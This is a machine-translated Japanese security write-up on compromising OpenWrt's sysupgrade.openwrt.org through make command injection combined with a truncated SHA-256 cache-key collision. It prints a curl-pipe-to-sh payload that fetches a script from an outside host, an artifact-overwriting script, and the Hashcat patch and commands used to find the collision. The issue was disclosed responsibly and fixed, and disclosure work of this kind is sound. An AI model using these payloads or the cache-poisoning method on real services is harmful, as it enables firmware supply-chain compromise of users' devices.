1733725855
2024-12-09 04:36:00
投稿日: 2024 年 12 月 6 日 •
11分 •
2240語
目次
導入
こんにちは、RyotaKです(@ryotkak
)、Flatt Security Inc.のセキュリティ エンジニア。
数日前、私はホームラボネットワークをアップグレードしていたので、 OpenWrt
私のルーターでは。 OpenWrtのWebインターフェースであるLuCIにアクセスすると、 というセクションがあることに気づきました。 Attended Sysupgradeとのことなので、それを使ってファームウェアをアップグレードしてみました。
説明を読んだところ、オンライン サービスを使用して新しいファームウェアを構築すると記載されていることがわかりました。
この時点で、それがどのように機能するのか興味があったので、それについて調べてみることにしました。
sysupgrade.openwrt.org
いくつか調査した結果、上記のオンライン サービスは次の場所でホストされていることがわかりました。 sysupgrade.openwrt.org。このサービスを使用すると、ユーザーはターゲット デバイスと必要なパッケージを選択して、新しいファームウェア イメージを構築できます。
ユーザーがファームウェアをアップグレードしようとすると、ユーザー側の OpenWrt は次のような必要な情報を含むリクエストをサーバーに送信します。
- ターゲットアーキテクチャ
- デバイスプロファイル
- 選択したパッケージ
次に、サーバーは情報に基づいてファームウェア イメージを構築し、それを OpenWrt に送り返します。OpenWrt はファームウェア イメージをデバイスにフラッシュします。
ご想像のとおり、ユーザーが提供したパッケージを使用してイメージを構築するのは危険な場合があります。サーバーがユーザー提供のソース コードを構築していて、適切に分離されていない場合、簡単に侵害される可能性があります。
そこで、サービスにセキュリティ上の問題があるかどうか調査し始めました。
コマンドインジェクション
幸いなことに、サーバーは次の場所でホストされています。 sysupgrade.openwrt.org はオープンソース プロジェクトであり、ソース コードは次の場所でホストされています。 openwrt/asu
。
運用環境に影響を与えることなくサービスの動作をさらに調査し、テストするために、サービスのローカル インスタンスをセットアップしました。
少し読んだところ、次のようにサーバーがコンテナを使用してビルド環境を分離していることがわかりました。
container = podman.containers.create(
image,
command=["sleep", "600"],
mounts=mounts,
cap_drop=["all"],
no_new_privileges=True,
privileged=False,
networks={"pasta": {}},
auto_remove=True,
environment=environment,
)
コンテナから脱出できたら面白いのではないかと思い、その方法を模索するためにさらに調査を開始しました。
その直後、ソース コード内に次の行を見つけました。
returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(
container,
[
"make",
"manifest",
f"PROFILE={build_request.profile}",
f"PACKAGES={' '.join(build_cmd_packages)}",
"STRIP_ABI=1",
],
)
上記で参照した Makefile は OpenWrt の imagebuilder からのものであり、 manifest ターゲットは次のように定義されます。
target/imagebuilder/files/Makefile 行 325 ~ 335
manifest: FORCE
$(MAKE) -s _check_profile
$(MAKE) -s _check_keys
(unset PROFILE FILES PACKAGES MAKEFLAGS;
$(MAKE) -s _call_manifest
$(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)")
$(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))
として make コマンドはコマンドを実行する前に変数を展開しますが、ユーザー制御の値を含む変数は安全に使用できません。
たとえば、次の Makefile は、 make var="'; whoami #" を実行します whoami 変数にもかかわらずコマンド var 一重引用符で囲まれています。
以来、 PACKAGES 変数には次のものが含まれます packages ユーザーが送信したリクエストからパラメータを取得すると、攻撃者は次のようなパッケージを送信することで、imagebuilder コンテナ内で任意のコマンドを実行できます。 `command to execute`。
packages: Annotated[
list[str],
Field(
examples=[["vim", "tmux"]],
description="""
List of packages, either *additional* or *absolute* depending
of the `diff_packages` parameter. This is augmented by the
`packages_versions` field, which allow you to additionally
specify the versions of the packages to be installed.
""".strip(),
),
] = []
コマンドが実行されるコンテナーはホストから分離されていますが、コンテナーをエスケープするための開始点としては適切です。
SHA-256 衝突
上記のコマンド インジェクションを見つけた後、コンテナから脱出するためのピースを探していました。
約 1 時間後、次のコードを見つけました。
def get_request_hash(build_request: BuildRequest) -> str:
"""Return sha256sum of an image request
Creates a reproducible hash of the request by sorting the arguments
Args:
req (dict): dict containing request information
Returns:
str: hash of `req`
"""
return get_str_hash(
"".join(
[
build_request.distro,
build_request.version,
build_request.version_code,
build_request.target,
build_request.profile.replace(",", "_"),
get_packages_hash(build_request.packages),
get_manifest_hash(build_request.packages_versions),
str(build_request.diff_packages),
"", # build_request.filesystem
get_str_hash(build_request.defaults),
str(build_request.rootfs_size_mb),
str(build_request.repository_keys),
str(build_request.repositories),
]
),
REQUEST_HASH_LENGTH,
)
このメソッドはリクエストのハッシュを生成するために使用され、そのハッシュはビルドのキャッシュ キーとして使用されます。これを見たとき、なぜ生の文字列を使用せずに複数の内部ハッシュがあるのか疑問に思いました。
パッケージのハッシュを計算するコードを確認しました。
def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:
"""Return sha256sum of str with optional length
Args:
string (str): input string
length (int): hash length
Returns:
str: hash of string with specified length
"""
h = hashlib.sha256(bytes(string or "", "utf-8"))
return h.hexdigest()[:length]
[...]
def get_packages_hash(packages: list[str]) -> str:
"""Return sha256sum of package list
Duplicate packages are automatically removed and the list is sorted to be
reproducible
Args:
packages (list): list of packages
Returns:
str: hash of `req`
"""
return get_str_hash(" ".join(sorted(list(set(packages)))), 12)
ハッシュの長さが 64 文字のうち 12 文字に切り捨てられていることにすぐに気づきました。
12 文字は 48 ビットに相当し、キースペースは 2^48 = 281,474,976,710,656、衝突を避けるには小さすぎるようです。
このハッシュはキャッシュ キーとして使用されませんが、このハッシュを含む外側のハッシュが使用されます。したがって、パッケージのハッシュの衝突を作成することで、パッケージが異なっていても同じキャッシュ キーを生成できます。これにより、攻撃者は、異なるパッケージを持つリクエストに対してサーバーに間違ったビルド アーティファクトを強制的に返すことができます。
衝突が実際に起こり得るかどうか確信が持てなかったため、SHA-256 を総当たり攻撃して 12 文字の衝突を検出することでテストすることにしました。
SHA-256 のブルートフォース攻撃
部分一致をサポートするハッシュ総当たりツールが見つからなかったので、自分で実装し始めました。
試行錯誤の末、GPU 上でブルート フォースを実行する OpenCL プログラムを作成することに成功しました。しかし、テストしてみると、パフォーマンスはひどいもので、1億個のハッシュを計算するのに10秒もかかりました。
これは CPU のハッシュ レートとほぼ同等でしたが、これまで OpenCL プログラムを作成したことがなかったため、これ以上最適化することができませんでした。
そこで、私は最終的に、と呼ばれる既知のハッシュ総当たり攻撃ツール プログラムを使用することになりました。 ハッシュキャット
。
次の小さなハックを使用すると、8 文字のみが一致するハッシュを Hashcat に出力させることができました。
diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.cl
index 6b82987bb..12f2bc17a 100644
--- a/OpenCL/m01400_a3-optimized.cl
+++ b/OpenCL/m01400_a3-optimized.cl
@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
/**
* reverse
*/
-
+/*
u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];
u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];
u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];
@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
-
+*/
/**
* loop
*/
@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);
w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38);
- if (MATCHES_NONE_VS (h, d_rev)) continue;
+ //if (MATCHES_NONE_VS (h, d_rev)) continue;
w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);
wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);
@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);
wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f);
- COMPARE_S_SIMD (d, h, c, g);
+ //COMPARE_S_SIMD (d, h, c, g);
+ COMPARE_S_SIMD (a, a, a, a);
}
}
diff --git a/src/modules/module_01400.c b/src/modules/module_01400.c
index ab002efbe..03549d7f5 100644
--- a/src/modules/module_01400.c
+++ b/src/modules/module_01400.c
@@ -11,10 +11,10 @@
#include "shared.h"
static const u32 ATTACK_EXEC = ATTACK_EXEC_INSIDE_KERNEL;
-static const u32 DGST_POS0 = 3;
-static const u32 DGST_POS1 = 7;
-static const u32 DGST_POS2 = 2;
-static const u32 DGST_POS3 = 6;
+static const u32 DGST_POS0 = 0;
+static const u32 DGST_POS1 = 0;
+static const u32 DGST_POS2 = 0;
+static const u32 DGST_POS3 = 0;
static const u32 DGST_SIZE = DGST_SIZE_4_8;
static const u32 HASH_CATEGORY = HASH_CATEGORY_RAW_HASH;
static const char *HASH_NAME = "SHA2-256";
次に、これを小さなスクリプトでラップして、Hashcat からの出力に 12 文字の衝突が含まれているかどうかを確認しました。
両方の攻撃を組み合わせる
両方の攻撃を組み合わせるには、正規のパッケージ リストに対して 12 文字のハッシュ衝突があるペイロードを見つける必要があります。
からパッケージリストを集めました firmware-selector.openwrt.orgのフロントエンドです。 sysupgrade.openwrt.org、そして正当なハッシュを計算しました:
$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum
8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -
このハッシュの最初の 12 文字は次のとおりです。 8f7018b33d94したがって、ハッシュに同じプレフィックスを持つコマンド インジェクション ペイロードを見つける必要があります。
このようなペイロードを見つけるために、次のコマンドを使用して RTX 4090 で Hashcat の修正バージョンを実行しました。
$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing
コマンドの実行後、Hashcat は 1 秒あたり約 5 億ハッシュの速度でハッシュの計算を開始したため、実行したままにしました。
しばらくして出力を確認したところ、Hashcat は考えられるすべてのパターンを計算しましたが、12 文字の衝突は見つかりませんでした。のスペースを計算したためです。 ?l?l?l?l?l?l?l?l?l?l 間違って。
?l を生成するマスク パターンです。 a-z、したがって、のスペース ?l?l?l?l?l?l?l?l?l?l (10文字)は 26^10 = 141,167,095,653,376、これは約半分です 2^48 = 281,474,976,710,656。
しかし、スペースを計算するときに、次のように誤って計算してしまいました。 26^11 = 3,670,344,486,987,776、衝突箇所を発見できれば十分だと考えました。
そこで、マスクパターンを次のように修正しました ?l?l?l?l?l?l?l?l?l?l?l (11文字)そして再び実行したままにしました。コマンドを実行した後、総当たり攻撃を高速化できないかと考え、Hashcat を実行し始めました。
すぐに、次のようにマスク パターンをコマンドの先頭に移動すると、パフォーマンスが大幅に向上することに気づきました。 `?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh`
少しテストしてみたところ、パターンを次のように変更するだけで約 36 倍の速度を上げることができることが確認されました。
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
このパターンを使用することで、Hashcat は 1 秒あたり 180 億ハッシュの速度でハッシュを計算できました。 1 時間以内に、Hashcat は 12 文字の衝突を発見しました。
$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 -
このペイロードを packages パラメーターを指定すると、コマンド インジェクションがトリガーされ、スクリプトが tmp.ryotak.net が実行されます。
次のスクリプトを配置しました tmp.ryotak.net/8f7018b33d94これにより、イメージビルダーによって生成されたアーティファクトが上書きされます。
cat >> /builder/scripts/json_overview_image_info.py import os
files = os.listdir(os.environ["BIN_DIR"])
for filename in files:
if filename.endswith(".bin"):
filepath = os.path.join(os.environ["BIN_DIR"], filename)
with open(filepath, "w") as f:
f.write("test")
PY
その後、ハッシュの衝突が発生すると、サーバーは上書きされたビルド アーティファクトを次のパッケージを要求する正当なリクエストに返します。
base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd
これを悪用すると、攻撃者はユーザーに悪意のあるファームウェアへのアップグレードを強制し、デバイスの侵害につながる可能性があります。
問題を報告する
攻撃を確認した後、次の方法で OpenWrt チームに問題を報告しました。 GitHub でのプライベート脆弱性報告
。
問題を認識した後すぐに、彼らは sysupgrade.openwrt.org 一時的にサービスを提供し、問題を調査しました。 3時間以内に修正版をリリースし、サービスを再開した。
どちらの問題も OpenWrt チームによって修正されていますが、この脆弱性はしばらくの間存在していたため、この攻撃が他の誰かによって悪用されたかどうかは不明でした。
そこで、彼らはリリースすることにしました 発表
デバイスが侵害されていないことを確認し、侵害されたかどうかを検出するようにユーザーに通知します。
結論
この記事では、どのように妥協できるかを説明しました。 sysupgrade.openwrt.org コマンド インジェクションと SHA-256 衝突を利用してサービスを実行します。
実際のアプリケーションでハッシュ衝突攻撃を発見したことはなかったので、ハッシュの総当たり攻撃によってこれを悪用できることに驚きました。
信じられないほど短期間で問題を修正し、ユーザーに速やかに通知した OpenWrt チームの努力に感謝します。
恥知らずなプラグ
Flatt Security では、一流のセキュリティ評価および侵入テスト サービスの提供を専門としています。当社の新しい英語 Web ページの更新を記念して、現在、当社のエリート エンジニアによる 1 か月間の調査をわずか 40,000 ドルで受けることができます。
また、Shisho Cloud と呼ばれる強力なセキュリティ評価ツールも提供しています。これは、クラウド セキュリティ体制管理 (CSPM) およびクラウド インフラストラクチャ資格管理 (CIEM) の機能と、Web アプリケーションの動的アプリケーション セキュリティ テスト (DAST) を組み合わせたものです。
さらに詳しく知りたい場合は、お気軽にお問い合わせください。 https://フラット.テック/ja
。
#切り詰められた #SHA256 #衝突とコマンド #インジェクションによる #OpenWrt #サプライ #チェーンの侵害